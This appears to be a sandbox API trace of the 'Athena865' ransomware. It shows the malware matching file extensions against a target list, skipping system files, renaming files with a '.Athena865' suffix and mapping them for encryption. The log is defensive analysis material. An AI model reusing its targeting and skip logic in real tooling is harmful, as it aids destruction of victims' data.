[0059.971] lstrlenW (lpString="setup.chm") returned 9 [0059.971] lstrlenW (lpString="bak") returned 3 [0059.971] lstrcmpiW (lpString1="chm", lpString2="bak") returned 1 [0059.971] lstrlenW (lpString="ba_") returned 3 [0059.971] lstrcmpiW (lpString1="chm", lpString2="ba_") returned 1 [0059.971] lstrlenW (lpString="dbb") returned 3 [0059.971] lstrcmpiW (lpString1="chm", lpString2="dbb") returned -1 [0059.971] lstrlenW (lpString="vmdk") returned 4 [0059.971] lstrcmpiW (lpString1=".chm", lpString2="vmdk") returned -1 [0059.971] lstrlenW (lpString="rar") returned 3 [0059.971] lstrcmpiW (lpString1="chm", lpString2="rar") returned -1 [0059.972] lstrlenW (lpString="zip") returned 3 [0059.972] lstrcmpiW (lpString1="chm", lpString2="zip") returned -1 [0059.972] lstrlenW (lpString="tgz") returned 3 [0059.972] lstrcmpiW (lpString1="chm", lpString2="tgz") returned -1 [0059.972] lstrlenW (lpString="vbox") returned 4 [0059.972] lstrcmpiW (lpString1=".chm", lpString2="vbox") returned -1 [0059.972] lstrlenW (lpString="vdi") returned 3 [0059.972] lstrcmpiW (lpString1="chm", lpString2="vdi") returned -1 [0059.972] lstrlenW (lpString="vhd") returned 3 [0059.972] lstrcmpiW (lpString1="chm", lpString2="vhd") returned -1 [0059.972] lstrlenW (lpString="vhdx") returned 4 [0059.972] lstrcmpiW (lpString1=".chm", lpString2="vhdx") returned -1 [0059.972] lstrlenW (lpString="avhd") returned 4 [0059.972] lstrcmpiW (lpString1=".chm", lpString2="avhd") returned -1 [0059.972] lstrlenW (lpString="db") returned 2 [0059.972] lstrcmpiW (lpString1="hm", lpString2="db") returned 1 [0059.972] lstrlenW (lpString="db2") returned 3 [0059.972] lstrcmpiW (lpString1="chm", lpString2="db2") returned -1 [0059.972] lstrlenW (lpString="db3") returned 3 [0059.972] lstrcmpiW (lpString1="chm", lpString2="db3") returned -1 [0059.972] lstrlenW (lpString="dbf") returned 3 [0059.972] lstrcmpiW (lpString1="chm", lpString2="dbf") returned -1 [0059.972] lstrlenW (lpString="mdf") returned 3 [0059.972] lstrcmpiW (lpString1="chm", lpString2="mdf") returned -1 [0059.972] lstrlenW (lpString="mdb") returned 3 [0059.972] lstrcmpiW (lpString1="chm", lpString2="mdb") returned -1 [0059.972] lstrlenW (lpString="sql") returned 3 [0059.972] lstrcmpiW (lpString1="chm", lpString2="sql") returned -1 [0059.972] lstrlenW (lpString="sqlite") returned 6 [0059.972] lstrcmpiW (lpString1="up.chm", lpString2="sqlite") returned 1 [0059.972] lstrlenW (lpString="sqlite3") returned 7 [0059.972] lstrcmpiW (lpString1="tup.chm", lpString2="sqlite3") returned 1 [0059.972] lstrlenW (lpString="sqlitedb") returned 8 [0059.973] lstrcmpiW (lpString1="etup.chm", lpString2="sqlitedb") returned -1 [0059.973] lstrlenW (lpString="xml") returned 3 [0059.973] lstrcmpiW (lpString1="chm", lpString2="xml") returned -1 [0059.973] lstrlenW (lpString="$er") returned 3 [0059.973] lstrcmpiW (lpString1="chm", lpString2="$er") returned 1 [0059.973] lstrlenW (lpString="4dd") returned 3 [0059.973] lstrcmpiW (lpString1="chm", lpString2="4dd") returned 1 [0059.973] lstrlenW (lpString="4dl") returned 3 [0059.973] lstrcmpiW (lpString1="chm", lpString2="4dl") returned 1 [0059.973] lstrlenW (lpString="^^^") returned 3 [0059.973] lstrcmpiW (lpString1="chm", lpString2="^^^") returned 1 [0059.973] lstrlenW (lpString="abs") returned 3 [0059.973] lstrcmpiW (lpString1="chm", lpString2="abs") returned 1 [0059.973] lstrlenW (lpString="abx") returned 3 [0059.973] lstrcmpiW (lpString1="chm", lpString2="abx") returned 1 [0059.973] lstrlenW (lpString="accdb") returned 5 [0059.973] lstrcmpiW (lpString1="p.chm", lpString2="accdb") returned 1 [0059.973] lstrlenW (lpString="accdc") returned 5 [0059.973] lstrcmpiW (lpString1="p.chm", lpString2="accdc") returned 1 [0059.973] lstrlenW (lpString="accde") returned 5 [0059.973] lstrcmpiW (lpString1="p.chm", lpString2="accde") returned 1 [0059.973] lstrlenW (lpString="accdr") returned 5 [0059.973] lstrcmpiW (lpString1="p.chm", lpString2="accdr") returned 1 [0059.973] lstrlenW (lpString="accdt") returned 5 [0059.973] lstrcmpiW (lpString1="p.chm", lpString2="accdt") returned 1 [0059.973] lstrlenW (lpString="accdw") returned 5 [0059.973] lstrcmpiW (lpString1="p.chm", lpString2="accdw") returned 1 [0059.973] lstrlenW (lpString="accft") returned 5 [0059.973] lstrcmpiW (lpString1="p.chm", lpString2="accft") returned 1 [0059.973] lstrlenW (lpString="adb") returned 3 [0059.973] lstrcmpiW (lpString1="chm", lpString2="adb") returned 1 [0059.973] lstrlenW (lpString="adb") returned 3 [0059.973] lstrcmpiW (lpString1="chm", lpString2="adb") returned 1 [0059.973] lstrlenW (lpString="ade") returned 3 [0059.974] lstrcmpiW (lpString1="chm", lpString2="ade") returned 1 [0059.974] lstrlenW (lpString="adf") returned 3 [0059.974] lstrcmpiW (lpString1="chm", lpString2="adf") returned 1 [0059.974] lstrlenW (lpString="adn") returned 3 [0059.974] lstrcmpiW (lpString1="chm", lpString2="adn") returned 1 [0059.974] lstrlenW (lpString="adp") returned 3 [0059.974] lstrcmpiW (lpString1="chm", lpString2="adp") returned 1 [0059.974] lstrlenW (lpString="alf") returned 3 [0059.974] lstrcmpiW (lpString1="chm", lpString2="alf") returned 1 [0059.974] lstrlenW (lpString="ask") returned 3 [0059.974] lstrcmpiW (lpString1="chm", lpString2="ask") returned 1 [0059.974] lstrlenW (lpString="btr") returned 3 [0059.974] lstrcmpiW (lpString1="chm", lpString2="btr") returned 1 [0059.974] lstrlenW (lpString="cat") returned 3 [0059.974] lstrcmpiW (lpString1="chm", lpString2="cat") returned 1 [0059.974] lstrlenW (lpString="cdb") returned 3 [0059.974] lstrcmpiW (lpString1="chm", lpString2="cdb") returned 1 [0059.974] lstrlenW (lpString="ckp") returned 3 [0059.974] lstrcmpiW (lpString1="chm", lpString2="ckp") returned -1 [0059.974] lstrlenW (lpString="cma") returned 3 [0059.974] lstrcmpiW (lpString1="chm", lpString2="cma") returned -1 [0059.974] lstrlenW (lpString="cpd") returned 3 [0059.974] lstrcmpiW (lpString1="chm", lpString2="cpd") returned -1 [0059.974] lstrlenW (lpString="dacpac") returned 6 [0059.974] lstrcmpiW (lpString1="up.chm", lpString2="dacpac") returned 1 [0059.974] lstrlenW (lpString="dad") returned 3 [0059.974] lstrcmpiW (lpString1="chm", lpString2="dad") returned -1 [0059.974] lstrlenW (lpString="dadiagrams") returned 10 [0059.974] lstrlenW (lpString="daschema") returned 8 [0059.974] lstrcmpiW (lpString1="etup.chm", lpString2="daschema") returned 1 [0059.974] lstrlenW (lpString="db-journal") returned 10 [0059.974] lstrlenW (lpString="db-shm") returned 6 [0059.974] lstrcmpiW (lpString1="up.chm", lpString2="db-shm") returned 1 [0059.975] lstrlenW (lpString="db-wal") returned 6 [0059.975] lstrcmpiW (lpString1="up.chm", lpString2="db-wal") returned 1 [0059.975] lstrlenW (lpString="dbc") returned 3 [0059.975] lstrcmpiW (lpString1="chm", lpString2="dbc") returned -1 [0059.975] lstrlenW (lpString="dbs") returned 3 [0059.975] lstrcmpiW (lpString1="chm", lpString2="dbs") returned -1 [0059.975] lstrlenW (lpString="dbt") returned 3 [0059.975] lstrcmpiW (lpString1="chm", lpString2="dbt") returned -1 [0059.975] lstrlenW (lpString="dbv") returned 3 [0059.975] lstrcmpiW (lpString1="chm", lpString2="dbv") returned -1 [0059.975] lstrlenW (lpString="dbx") returned 3 [0059.975] lstrcmpiW (lpString1="chm", lpString2="dbx") returned -1 [0059.975] lstrlenW (lpString="dcb") returned 3 [0059.975] lstrcmpiW (lpString1="chm", lpString2="dcb") returned -1 [0059.975] lstrcmpiW (lpString1="chm", lpString2="dct") returned -1 [0059.975] lstrcmpiW (lpString1="chm", lpString2="dcx") returned -1 [0059.975] lstrcmpiW (lpString1="chm", lpString2="ddl") returned -1 [0059.975] lstrcmpiW (lpString1=".chm", lpString2="dlis") returned -1 [0059.975] lstrcmpiW (lpString1="chm", lpString2="dp1") returned -1 [0059.975] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.Athena865") returned 82 [0059.975] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm.athena865"), dwFlags=0x1) returned 1 [0059.976] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0059.976] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=67190) returned 1 [0059.976] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0059.976] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0059.977] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0059.977] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0059.977] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0059.977] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0059.977] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10980, lpName=0x0) returned 0x154 [0059.979] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10980) returned 0x100000 [0059.993] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0059.994] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0059.994] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0059.994] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0059.994] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0059.994] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0059.994] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0059.994] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0059.994] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0059.994] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0059.995] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0059.995] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0059.995] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0059.995] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0059.995] CloseHandle (hObject=0x154) returned 1 [0059.996] CloseHandle (hObject=0x17c) returned 1 [0059.996] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0059.996] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0059.996] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0059.996] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0059.996] lstrcmpiW (lpString1="Setup.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0059.996] lstrcmpiW (lpString1="Setup.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0059.996] lstrcmpiW (lpString1="Setup.xml", lpString2=".") returned 1 [0059.996] lstrcmpiW (lpString1="Setup.xml", lpString2="..") returned 1 [0059.996] lstrcmpiW (lpString1="Setup.xml", lpString2="windows") returned -1 [0059.996] lstrcmpiW (lpString1="Setup.xml", lpString2="bootmgr") returned 1 [0059.996] lstrcmpiW (lpString1="Setup.xml", lpString2="temp") returned -1 [0059.996] lstrcmpiW (lpString1="Setup.xml", lpString2="pagefile.sys") returned 1 [0059.996] lstrcmpiW (lpString1="Setup.xml", lpString2="boot") returned 1 [0059.996] lstrcmpiW (lpString1="Setup.xml", lpString2="ids.txt") returned 1 [0059.996] lstrcmpiW (lpString1="Setup.xml", lpString2="ntuser.dat") returned 1 [0059.996] lstrcmpiW (lpString1="Setup.xml", lpString2="perflogs") returned 1 [0059.997] lstrcmpiW (lpString1="Setup.xml", lpString2="MSBuild") returned 1 [0059.997] lstrlenW (lpString="Setup.xml") returned 9 [0059.997] lstrcpyW (in: lpString1=0x241e8c6, lpString2="Setup.xml" | out: lpString1="Setup.xml") returned="Setup.xml" [0059.997] lstrlenW (lpString="Setup.xml") returned 9 [0059.997] lstrlenW (lpString="Athena865") returned 9 [0059.997] lstrlenW (lpString=".dll") returned 4 [0059.997] lstrcmpiW (lpString1="Setup.xml", lpString2=".dll") returned 1 [0059.997] lstrlenW (lpString=".lnk") returned 4 [0059.997] lstrcmpiW (lpString1="Setup.xml", lpString2=".lnk") returned 1 [0059.997] lstrlenW (lpString=".ini") returned 4 [0059.997] lstrcmpiW (lpString1="Setup.xml", lpString2=".ini") returned 1 [0059.997] lstrlenW (lpString=".sys") returned 4 [0059.997] lstrcmpiW (lpString1="Setup.xml", lpString2=".sys") returned 1 [0059.997] lstrlenW (lpString="Setup.xml") returned 9 [0059.997] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.Athena865") returned 82 [0059.997] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.athena865"), dwFlags=0x1) returned 1 [0059.998] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0059.998] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9352) returned 1 [0059.998] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0059.999] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0059.999] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0059.999] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0060.000] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0060.000] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0060.000] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2790, lpName=0x0) returned 0x154 [0060.001] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2790) returned 0x100000 [0060.002] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0060.003] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0060.003] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0060.003] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0060.003] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0060.003] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0060.003] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0060.003] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0060.003] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0060.003] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0060.003] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0060.003] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0060.003] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0060.003] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0060.004] CloseHandle (hObject=0x154) returned 1 [0060.004] CloseHandle (hObject=0x17c) returned 1 [0060.004] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0060.004] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0060.004] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0060.004] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ShellUI.MST", cAlternateFileName="")) returned 1 [0060.004] lstrcmpiW (lpString1="ShellUI.MST", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0060.004] lstrcmpiW (lpString1="ShellUI.MST", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0060.004] lstrcmpiW (lpString1="ShellUI.MST", lpString2=".") returned 1 [0060.004] lstrcmpiW (lpString1="ShellUI.MST", lpString2="..") returned 1 [0060.004] lstrcmpiW (lpString1="ShellUI.MST", lpString2="windows") returned -1 [0060.004] lstrcmpiW (lpString1="ShellUI.MST", lpString2="bootmgr") returned 1 [0060.004] lstrcmpiW (lpString1="ShellUI.MST", lpString2="temp") returned -1 [0060.004] lstrcmpiW (lpString1="ShellUI.MST", lpString2="pagefile.sys") returned 1 [0060.004] lstrcmpiW (lpString1="ShellUI.MST", lpString2="boot") returned 1 [0060.004] lstrcmpiW (lpString1="ShellUI.MST", lpString2="ids.txt") returned 1 [0060.004] lstrcmpiW (lpString1="ShellUI.MST", lpString2="ntuser.dat") returned 1 [0060.004] lstrcmpiW (lpString1="ShellUI.MST", lpString2="perflogs") returned 1 [0060.004] lstrcmpiW (lpString1="ShellUI.MST", lpString2="MSBuild") returned 1 [0060.004] lstrlenW (lpString="ShellUI.MST") returned 11 [0060.004] lstrcpyW (in: lpString1=0x241e8c6, lpString2="ShellUI.MST" | out: lpString1="ShellUI.MST") returned="ShellUI.MST" [0060.004] lstrlenW (lpString="ShellUI.MST") returned 11 [0060.005] lstrlenW (lpString="Athena865") returned 9 [0060.005] lstrcmpiW (lpString1="ellUI.MST", lpString2="Athena865") returned 1 [0060.005] lstrlenW (lpString=".dll") returned 4 [0060.005] lstrcmpiW (lpString1="ShellUI.MST", lpString2=".dll") returned 1 [0060.005] lstrlenW (lpString=".lnk") returned 4 [0060.005] lstrcmpiW (lpString1="ShellUI.MST", lpString2=".lnk") returned 1 [0060.005] lstrlenW (lpString=".ini") returned 4 [0060.005] lstrcmpiW (lpString1="ShellUI.MST", lpString2=".ini") returned 1 [0060.005] lstrlenW (lpString=".sys") returned 4 [0060.005] lstrcmpiW (lpString1="ShellUI.MST", lpString2=".sys") returned 1 [0060.005] lstrlenW (lpString="ShellUI.MST") returned 11 [0060.005] lstrlenW (lpString="bak") returned 3 [0060.005] lstrcmpiW (lpString1="MST", lpString2="bak") returned 1 [0060.005] lstrlenW (lpString="ba_") returned 3 [0060.005] lstrcmpiW (lpString1="MST", lpString2="ba_") returned 1 [0060.005] lstrlenW (lpString="dbb") returned 3 [0060.005] lstrcmpiW (lpString1="MST", lpString2="dbb") returned 1 [0060.005] lstrlenW (lpString="vmdk") returned 4 [0060.005] lstrcmpiW (lpString1=".MST", lpString2="vmdk") returned -1 [0060.005] lstrlenW (lpString="rar") returned 3 [0060.005] lstrcmpiW (lpString1="MST", lpString2="rar") returned -1 [0060.005] lstrlenW (lpString="zip") returned 3 [0060.005] lstrcmpiW (lpString1="MST", lpString2="zip") returned -1 [0060.005] lstrlenW (lpString="tgz") returned 3 [0060.005] lstrcmpiW (lpString1="MST", lpString2="tgz") returned -1 [0060.005] lstrlenW (lpString="vbox") returned 4 [0060.005] lstrcmpiW (lpString1=".MST", lpString2="vbox") returned -1 [0060.005] lstrlenW (lpString="vdi") returned 3 [0060.005] lstrcmpiW (lpString1="MST", lpString2="vdi") returned -1 [0060.005] lstrlenW (lpString="vhd") returned 3 [0060.005] lstrcmpiW (lpString1="MST", lpString2="vhd") returned -1 [0060.005] lstrlenW (lpString="vhdx") returned 4 [0060.006] lstrcmpiW (lpString1=".MST", lpString2="vhdx") returned -1 [0060.006] lstrlenW (lpString="avhd") returned 4 [0060.006] lstrcmpiW (lpString1=".MST", lpString2="avhd") returned -1 [0060.006] lstrlenW (lpString="db") returned 2 [0060.006] lstrcmpiW (lpString1="ST", lpString2="db") returned 1 [0060.006] lstrlenW (lpString="db2") returned 3 [0060.006] lstrcmpiW (lpString1="MST", lpString2="db2") returned 1 [0060.006] lstrlenW (lpString="db3") returned 3 [0060.006] lstrcmpiW (lpString1="MST", lpString2="db3") returned 1 [0060.006] lstrlenW (lpString="dbf") returned 3 [0060.006] lstrcmpiW (lpString1="MST", lpString2="dbf") returned 1 [0060.006] lstrlenW (lpString="mdf") returned 3 [0060.006] lstrcmpiW (lpString1="MST", lpString2="mdf") returned 1 [0060.006] lstrlenW (lpString="mdb") returned 3 [0060.006] lstrcmpiW (lpString1="MST", lpString2="mdb") returned 1 [0060.006] lstrlenW (lpString="sql") returned 3 [0060.006] lstrcmpiW (lpString1="MST", lpString2="sql") returned -1 [0060.006] lstrlenW (lpString="sqlite") returned 6 [0060.006] lstrcmpiW (lpString1="UI.MST", lpString2="sqlite") returned 1 [0060.006] lstrlenW (lpString="sqlite3") returned 7 [0060.006] lstrcmpiW (lpString1="lUI.MST", lpString2="sqlite3") returned -1 [0060.006] lstrlenW (lpString="sqlitedb") returned 8 [0060.006] lstrcmpiW (lpString1="llUI.MST", lpString2="sqlitedb") returned -1 [0060.006] lstrlenW (lpString="xml") returned 3 [0060.006] lstrcmpiW (lpString1="MST", lpString2="xml") returned -1 [0060.006] lstrlenW (lpString="$er") returned 3 [0060.006] lstrcmpiW (lpString1="MST", lpString2="$er") returned 1 [0060.006] lstrlenW (lpString="4dd") returned 3 [0060.006] lstrcmpiW (lpString1="MST", lpString2="4dd") returned 1 [0060.006] lstrlenW (lpString="4dl") returned 3 [0060.006] lstrcmpiW (lpString1="MST", lpString2="4dl") returned 1 [0060.007] lstrlenW (lpString="^^^") returned 3 [0060.007] lstrcmpiW (lpString1="MST", lpString2="^^^") returned 1 [0060.007] lstrlenW (lpString="abs") returned 3 [0060.007] lstrcmpiW (lpString1="MST", lpString2="abs") returned 1 [0060.007] lstrlenW (lpString="abx") returned 3 [0060.007] lstrcmpiW (lpString1="MST", lpString2="abx") returned 1 [0060.007] lstrlenW (lpString="accdb") returned 5 [0060.007] lstrcmpiW (lpString1="I.MST", lpString2="accdb") returned 1 [0060.007] lstrlenW (lpString="accdc") returned 5 [0060.007] lstrcmpiW (lpString1="I.MST", lpString2="accdc") returned 1 [0060.007] lstrlenW (lpString="accde") returned 5 [0060.007] lstrcmpiW (lpString1="I.MST", lpString2="accde") returned 1 [0060.007] lstrlenW (lpString="accdr") returned 5 [0060.007] lstrcmpiW (lpString1="I.MST", lpString2="accdr") returned 1 [0060.007] lstrlenW (lpString="accdt") returned 5 [0060.007] lstrcmpiW (lpString1="I.MST", lpString2="accdt") returned 1 [0060.007] lstrlenW (lpString="accdw") returned 5 [0060.007] lstrcmpiW (lpString1="I.MST", lpString2="accdw") returned 1 [0060.007] lstrlenW (lpString="accft") returned 5 [0060.007] lstrcmpiW (lpString1="I.MST", lpString2="accft") returned 1 [0060.007] lstrlenW (lpString="adb") returned 3 [0060.007] lstrcmpiW (lpString1="MST", lpString2="adb") returned 1 [0060.007] lstrlenW (lpString="adb") returned 3 [0060.007] lstrcmpiW (lpString1="MST", lpString2="adb") returned 1 [0060.007] lstrlenW (lpString="ade") returned 3 [0060.007] lstrcmpiW (lpString1="MST", lpString2="ade") returned 1 [0060.007] lstrlenW (lpString="adf") returned 3 [0060.007] lstrcmpiW (lpString1="MST", lpString2="adf") returned 1 [0060.007] lstrlenW (lpString="adn") returned 3 [0060.007] lstrcmpiW (lpString1="MST", lpString2="adn") returned 1 [0060.007] lstrlenW (lpString="adp") returned 3 [0060.008] lstrcmpiW (lpString1="MST", lpString2="adp") returned 1 [0060.008] lstrlenW (lpString="alf") returned 3 [0060.008] lstrcmpiW (lpString1="MST", lpString2="alf") returned 1 [0060.008] lstrlenW (lpString="ask") returned 3 [0060.008] lstrcmpiW (lpString1="MST", lpString2="ask") returned 1 [0060.008] lstrlenW (lpString="btr") returned 3 [0060.008] lstrcmpiW (lpString1="MST", lpString2="btr") returned 1 [0060.008] lstrlenW (lpString="cat") returned 3 [0060.008] lstrcmpiW (lpString1="MST", lpString2="cat") returned 1 [0060.008] lstrlenW (lpString="cdb") returned 3 [0060.008] lstrcmpiW (lpString1="MST", lpString2="cdb") returned 1 [0060.008] lstrlenW (lpString="ckp") returned 3 [0060.008] lstrcmpiW (lpString1="MST", lpString2="ckp") returned 1 [0060.008] lstrlenW (lpString="cma") returned 3 [0060.008] lstrcmpiW (lpString1="MST", lpString2="cma") returned 1 [0060.008] lstrlenW (lpString="cpd") returned 3 [0060.008] lstrcmpiW (lpString1="MST", lpString2="cpd") returned 1 [0060.008] lstrlenW (lpString="dacpac") returned 6 [0060.008] lstrcmpiW (lpString1="UI.MST", lpString2="dacpac") returned 1 [0060.008] lstrlenW (lpString="dad") returned 3 [0060.008] lstrcmpiW (lpString1="MST", lpString2="dad") returned 1 [0060.008] lstrlenW (lpString="dadiagrams") returned 10 [0060.008] lstrcmpiW (lpString1="hellUI.MST", lpString2="dadiagrams") returned 1 [0060.008] lstrlenW (lpString="daschema") returned 8 [0060.008] lstrcmpiW 